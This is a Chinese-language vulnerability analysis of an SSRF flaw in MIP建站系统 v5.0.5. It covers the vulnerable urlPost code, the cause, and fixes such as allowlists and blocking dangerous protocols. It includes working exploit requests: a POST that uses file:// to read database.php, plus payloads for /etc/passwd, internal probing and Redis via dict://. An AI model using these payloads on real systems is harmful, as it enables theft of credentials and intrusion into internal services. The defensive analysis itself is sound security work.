MIP建站系统v5.0.5 SSRF漏洞分析
字数 741 2025-08-25 22:58:20

MIP建站系统v5.0.5 SSRF漏洞分析与利用

一、漏洞概述

MIP建站系统v5.0.5存在服务器端请求伪造(SSRF)漏洞,攻击者可通过后台接口构造恶意请求,读取服务器任意文件或攻击内网服务。

二、受影响版本

  • MIP建站系统v5.0.5

三、漏洞位置

漏洞存在于以下文件中:

app/setting/controller/ApiAdminDomainSettings.php

四、漏洞复现步骤

1. 环境准备

  • 下载受影响版本:https://mipclouds.oss-cn-beijing.aliyuncs.com/code/mipjz/mipjz-5.0.5.zip
  • 搭建测试环境

2. 攻击流程

  1. 登录系统后台
  2. 访问漏洞接口:
    http://[目标IP]/index.php?s=/setting/ApiAdminDomainSettings/urlPost
    
  3. 发送POST请求,构造payload:
    POST /index.php?s=/setting/ApiAdminDomainSettings/urlPost HTTP/1.1
    Host: [目标IP]
    Content-Type: application/x-www-form-urlencoded
    
    postAddress=file:///C:\phpStudy\PHPTutorial\WWW\app\database.php&url=test&id=test
    

3. 预期结果

成功读取服务器上的敏感文件(如database.php等)

五、漏洞代码分析

1. 漏洞代码段

public function urlPost(Request $request) {
    $postAddress = input('post.postAddress');
    if (!$postAddress) {
        return jsonError('请先去设置推送的接口');
    }
    $api = trim($postAddress);
    if (strpos($api,'type=realtime') !== false || strpos($api,'type=batch') !== false) {
        if (!config('siteInfo')['guanfanghaoStatus']) {
            return jsonError('检测到您未开启熊掌号,请开启后再推送');
        }
    }
    $url = input('post.url');
    $id = input('post.id');
    if (!$url) {
        return jsonError('没有检测到你推送的页面地址');
    }   
    $urls[] = $url;
    $ch = curl_init();
    $options = array(
        CURLOPT_URL => $api,
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POSTFIELDS => implode("\n", $urls),
        CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
    );
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);

2. 漏洞成因分析

  1. $postAddress参数直接从用户输入获取,未经过滤:

    $postAddress = input('post.postAddress');
    $api = trim($postAddress);
    
  2. 该参数直接用于cURL请求的URL:

    CURLOPT_URL => $api,
    
  3. 由于缺乏对URL的协议和目标的校验,攻击者可构造file://协议读取本地文件,或使用其他协议(如http://)攻击内网服务。

六、漏洞利用扩展

1. 可读取的文件示例

  • 配置文件:
    file:///C:\phpStudy\PHPTutorial\WWW\app\database.php
    
  • 系统文件:
    file:///etc/passwd
    

2. 内网探测与攻击

  • 内网服务探测:
    http://192.168.1.1:8080
    
  • Redis未授权访问利用:
    dict://127.0.0.1:6379/info
    

七、修复建议

1. 临时缓解措施

  • 限制后台访问权限
  • 禁用或删除ApiAdminDomainSettings.php文件

2. 代码修复方案

  1. 对输入URL进行白名单校验:

    $allowed_domains = ['example.com', 'trusted-domain.com'];
    $parsed = parse_url($api);
    if (!in_array($parsed['host'], $allowed_domains)) {
        return jsonError('非法的请求地址');
    }
    
  2. 禁用危险协议:

    if (preg_match('/^(file|dict|gopher|ftp)/i', $api)) {
        return jsonError('禁止使用的协议');
    }
    
  3. 使用更严格的URL验证:

    if (!filter_var($api, FILTER_VALIDATE_URL)) {
        return jsonError('无效的URL');
    }
    

八、总结

该SSRF漏洞源于对用户提供的URL参数缺乏有效过滤,导致攻击者可通过构造恶意URL读取服务器文件或攻击内网服务。开发人员应始终验证和过滤用户输入,特别是用于网络请求的参数。

MIP建站系统v5.0.5 SSRF漏洞分析与利用 一、漏洞概述 MIP建站系统v5.0.5存在服务器端请求伪造(SSRF)漏洞,攻击者可通过后台接口构造恶意请求,读取服务器任意文件或攻击内网服务。 二、受影响版本 MIP建站系统v5.0.5 三、漏洞位置 漏洞存在于以下文件中: 四、漏洞复现步骤 1. 环境准备 下载受影响版本:https://mipclouds.oss-cn-beijing.aliyuncs.com/code/mipjz/mipjz-5.0.5.zip 搭建测试环境 2. 攻击流程 登录系统后台 访问漏洞接口: 发送POST请求,构造payload: 3. 预期结果 成功读取服务器上的敏感文件(如database.php等) 五、漏洞代码分析 1. 漏洞代码段 2. 漏洞成因分析 $postAddress 参数直接从用户输入获取,未经过滤: 该参数直接用于cURL请求的URL: 由于缺乏对URL的协议和目标的校验,攻击者可构造 file:// 协议读取本地文件,或使用其他协议(如 http:// )攻击内网服务。 六、漏洞利用扩展 1. 可读取的文件示例 配置文件: 系统文件: 2. 内网探测与攻击 内网服务探测: Redis未授权访问利用: 七、修复建议 1. 临时缓解措施 限制后台访问权限 禁用或删除 ApiAdminDomainSettings.php 文件 2. 代码修复方案 对输入URL进行白名单校验: 禁用危险协议: 使用更严格的URL验证: 八、总结 该SSRF漏洞源于对用户提供的URL参数缺乏有效过滤,导致攻击者可通过构造恶意URL读取服务器文件或攻击内网服务。开发人员应始终验证和过滤用户输入,特别是用于网络请求的参数。